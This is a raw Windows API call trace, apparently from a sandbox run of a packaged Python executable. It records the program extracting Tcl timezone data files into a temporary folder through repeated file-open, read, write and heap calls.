[0043.041] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x560088 | out: hHeap=0x530000) returned 1 [0043.041] CloseHandle (hObject=0x10c) returned 1 [0043.041] GetLastError () returned 0x0 [0043.041] SetLastError (dwErrCode=0x0) [0043.041] GetLastError () returned 0x0 [0043.041] SetLastError (dwErrCode=0x0) [0043.041] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl") returned 49 [0043.041] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0043.041] GetFileType (hFile=0x10c) returned 0x1 [0043.041] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0043.041] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0043.041] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0043.041] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0043.041] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0043.041] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0043.041] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0043.041] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0043.041] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0043.042] CloseHandle (hObject=0x10c) returned 1 [0043.042] GetLastError () returned 0x0 [0043.042] SetLastError (dwErrCode=0x0) [0043.042] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata") returned 56 [0043.042] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0043.042] GetFileType (hFile=0x10c) returned 0x1 [0043.042] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0043.042] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0043.042] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0043.042] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0043.042] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0043.042] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0043.042] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0043.042] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0043.042] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0043.042] CloseHandle (hObject=0x10c) returned 1 [0043.042] GetLastError () returned 0x0 [0043.042] SetLastError (dwErrCode=0x0) [0043.042] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Mexico") returned 63 [0043.042] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Mexico" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\mexico"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0043.042] GetFileType (hFile=0x10c) returned 0x1 [0043.042] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0043.042] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0043.042] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0043.042] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0043.043] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0043.043] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0043.043] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0043.043] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0043.043] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0043.043] CloseHandle (hObject=0x10c) returned 1 [0043.043] GetLastError () returned 0x0 [0043.043] SetLastError (dwErrCode=0x0) [0043.043] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Mexico\\BajaSur") returned 71 [0043.043] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Mexico\\BajaSur" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\mexico\\bajasur"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0xffffffff [0043.043] GetLastError () returned 0x2 [0043.043] SetLastError (dwErrCode=0x2) [0043.043] GetLastError () returned 0x2 [0043.043] SetLastError (dwErrCode=0x2) [0043.043] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Mexico\\BajaSur", nBufferLength=0x104, lpBuffer=0x4f8b64, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Mexico\\BajaSur", lpFilePart=0x0) returned 0x46 [0043.043] GetLastError () returned 0x2 [0043.043] SetLastError (dwErrCode=0x2) [0043.043] GetLastError () returned 0x2 [0043.043] SetLastError (dwErrCode=0x2) [0043.043] GetLastError () returned 0x2 [0043.043] SetLastError (dwErrCode=0x2) [0043.043] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4f8bd4, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Mexico\\BajaSur") returned 71 [0043.043] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd715f8, cbMultiByte=-1, lpWideCharStr=0x4f8bc0, cchWideChar=10 | out: lpWideCharStr="wb") returned 3 [0043.043] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Mexico\\BajaSur" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\mexico\\bajasur"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x4f8a78, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0043.044] GetFileType (hFile=0x10c) returned 0x1 [0043.044] htonl (hostlong=0xba000000) returned 0xba [0043.044] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x560088 [0043.044] WriteFile (in: hFile=0x10c, lpBuffer=0x560088*, nNumberOfBytesToWrite=0xba, lpNumberOfBytesWritten=0x4fcd6c, lpOverlapped=0x0 | out: lpBuffer=0x560088*, lpNumberOfBytesWritten=0x4fcd6c*=0xba, lpOverlapped=0x0) returned 1 [0043.045] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x560088 | out: hHeap=0x530000) returned 1 [0043.045] CloseHandle (hObject=0x10c) returned 1 [0043.045] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x55d810 | out: hHeap=0x530000) returned 1 [0043.045] htonl (hostlong=0x30000000) returned 0x30 [0043.045] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x54bc40, cbMultiByte=-1, lpWideCharStr=0x4fcc18, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe") returned 65 [0043.045] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd70200, cbMultiByte=-1, lpWideCharStr=0x4fcc04, cchWideChar=10 | out: lpWideCharStr="rb") returned 3 [0043.045] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe" (normalized: "c:\\users\\fd1hvy\\desktop\\cusers777downloadsnewsourcenewsource.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x4fcabc, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0043.046] GetFileType (hFile=0x10c) returned 0x1 [0043.046] htonl (hostlong=0x75ec5c00) returned 0x5cec75 [0043.046] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x619c75, lpNewFilePointer=0x0, dwMoveMethod=0x4fcd74 | out: lpNewFilePointer=0x0) returned 1 [0043.046] htonl (hostlong=0x8e000000) returned 0x8e [0043.046] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x8e) returned 0x55cfe0 [0043.046] htonl (hostlong=0x8e000000) returned 0x8e [0043.046] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x560088 [0043.046] ReadFile (in: hFile=0x10c, lpBuffer=0x560088, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4fccfc, lpOverlapped=0x0 | out: lpBuffer=0x560088*, lpNumberOfBytesRead=0x4fccfc*=0x1000, lpOverlapped=0x0) returned 1 [0043.046] htonl (hostlong=0xc3000000) returned 0xc3 [0043.046] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0xc3) returned 0x550600 [0043.046] htonl (hostlong=0x8e000000) returned 0x8e [0043.046] htonl (hostlong=0xc3000000) returned 0xc3 [0043.046] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1bcc) returned 0x561090 [0043.046] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x561090 | out: hHeap=0x530000) returned 1 [0043.046] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x55cfe0 | out: hHeap=0x530000) returned 1 [0043.046] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x560088 | out: hHeap=0x530000) returned 1 [0043.046] CloseHandle (hObject=0x10c) returned 1 [0043.046] GetLastError () returned 0x0 [0043.046] SetLastError (dwErrCode=0x0) [0043.046] GetLastError () returned 0x0 [0043.046] SetLastError (dwErrCode=0x0) [0043.046] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl") returned 49 [0043.046] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0043.046] GetFileType (hFile=0x10c) returned 0x1 [0043.046] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0043.046] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0043.047] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0043.047] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0043.047] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0043.047] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0043.047] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0043.047] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0043.047] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0043.047] CloseHandle (hObject=0x10c) returned 1 [0043.047] GetLastError () returned 0x0 [0043.047] SetLastError (dwErrCode=0x0) [0043.047] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata") returned 56 [0043.047] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0043.047] GetFileType (hFile=0x10c) returned 0x1 [0043.047] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0043.047] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0043.047] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0043.047] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0043.047] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0043.047] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0043.047] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0043.047] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0043.047] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0043.047] CloseHandle (hObject=0x10c) returned 1 [0043.047] GetLastError () returned 0x0 [0043.047] SetLastError (dwErrCode=0x0) [0043.047] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Mexico") returned 63 [0043.048] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Mexico" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\mexico"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0043.048] GetFileType (hFile=0x10c) returned 0x1 [0043.048] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0043.048] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0043.048] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0043.048] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0043.048] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0043.048] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0043.048] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0043.048] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0043.048] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0043.048] CloseHandle (hObject=0x10c) returned 1 [0043.048] GetLastError () returned 0x0 [0043.048] SetLastError (dwErrCode=0x0) [0043.048] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Mexico\\General") returned 71 [0043.048] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Mexico\\General" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\mexico\\general"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0xffffffff [0043.048] GetLastError () returned 0x2 [0043.048] SetLastError (dwErrCode=0x2) [0043.048] GetLastError () returned 0x2 [0043.048] SetLastError (dwErrCode=0x2) [0043.048] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Mexico\\General", nBufferLength=0x104, lpBuffer=0x4f8b64, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Mexico\\General", lpFilePart=0x0) returned 0x46 [0043.048] GetLastError () returned 0x2 [0043.048] SetLastError (dwErrCode=0x2) [0043.048] GetLastError () returned 0x2 [0043.048] SetLastError (dwErrCode=0x2) [0043.048] GetLastError () returned 0x2 [0043.049] SetLastError (dwErrCode=0x2) [0043.049] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4f8bd4, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Mexico\\General") returned 71 [0043.049] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd715f8, cbMultiByte=-1, lpWideCharStr=0x4f8bc0, cchWideChar=10 | out: lpWideCharStr="wb") returned 3 [0043.049] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Mexico\\General" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\mexico\\general"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x4f8a78, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0043.049] GetFileType (hFile=0x10c) returned 0x1 [0043.049] htonl (hostlong=0xc3000000) returned 0xc3 [0043.049] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x560088 [0043.049] WriteFile (in: hFile=0x10c, lpBuffer=0x560088*, nNumberOfBytesToWrite=0xc3, lpNumberOfBytesWritten=0x4fcd6c, lpOverlapped=0x0 | out: lpBuffer=0x560088*, lpNumberOfBytesWritten=0x4fcd6c*=0xc3, lpOverlapped=0x0) returned 1 [0043.050] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x560088 | out: hHeap=0x530000) returned 1 [0043.050] CloseHandle (hObject=0x10c) returned 1 [0043.050] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x550600 | out: hHeap=0x530000) returned 1 [0043.050] htonl (hostlong=0x30000000) returned 0x30 [0043.050] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x54bc40, cbMultiByte=-1, lpWideCharStr=0x4fcc18, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe") returned 65 [0043.050] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd70200, cbMultiByte=-1, lpWideCharStr=0x4fcc04, cchWideChar=10 | out: lpWideCharStr="rb") returned 3 [0043.050] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe" (normalized: "c:\\users\\fd1hvy\\desktop\\cusers777downloadsnewsourcenewsource.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x4fcabc, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0043.050] GetFileType (hFile=0x10c) returned 0x1 [0043.050] htonl (hostlong=0x3ed5c00) returned 0x5ced03 [0043.051] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x619d03, lpNewFilePointer=0x0, dwMoveMethod=0x4fcd74 | out: lpNewFilePointer=0x0) returned 1 [0043.051] htonl (hostlong=0x86000000) returned 0x86 [0043.051] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x86) returned 0x55cfe0 [0043.051] htonl (hostlong=0x86000000) returned 0x86 [0043.051] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x560088 [0043.051] ReadFile (in: hFile=0x10c, lpBuffer=0x560088, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4fccfc, lpOverlapped=0x0 | out: lpBuffer=0x560088*, lpNumberOfBytesRead=0x4fccfc*=0x1000, lpOverlapped=0x0) returned 1 [0043.051] htonl (hostlong=0xae000000) returned 0xae [0043.051] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0xae) returned 0x550600 [0043.051] htonl (hostlong=0x86000000) returned 0x86 [0043.051] htonl (hostlong=0xae000000) returned 0xae [0043.051] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1bcc) returned 0x561090 [0043.051] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x561090 | out: hHeap=0x530000) returned 1 [0043.051] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x55cfe0 | out: hHeap=0x530000) returned 1 [0043.051] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x560088 | out: hHeap=0x530000) returned 1 [0043.051] CloseHandle (hObject=0x10c) returned 1 [0043.051] GetLastError () returned 0x0 [0043.051] SetLastError (dwErrCode=0x0) [0043.051] GetLastError () returned 0x0 [0043.051] SetLastError (dwErrCode=0x0) [0043.051] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl") returned 49 [0043.051] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0043.051] GetFileType (hFile=0x10c) returned 0x1 [0043.052] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0043.052] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0043.052] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 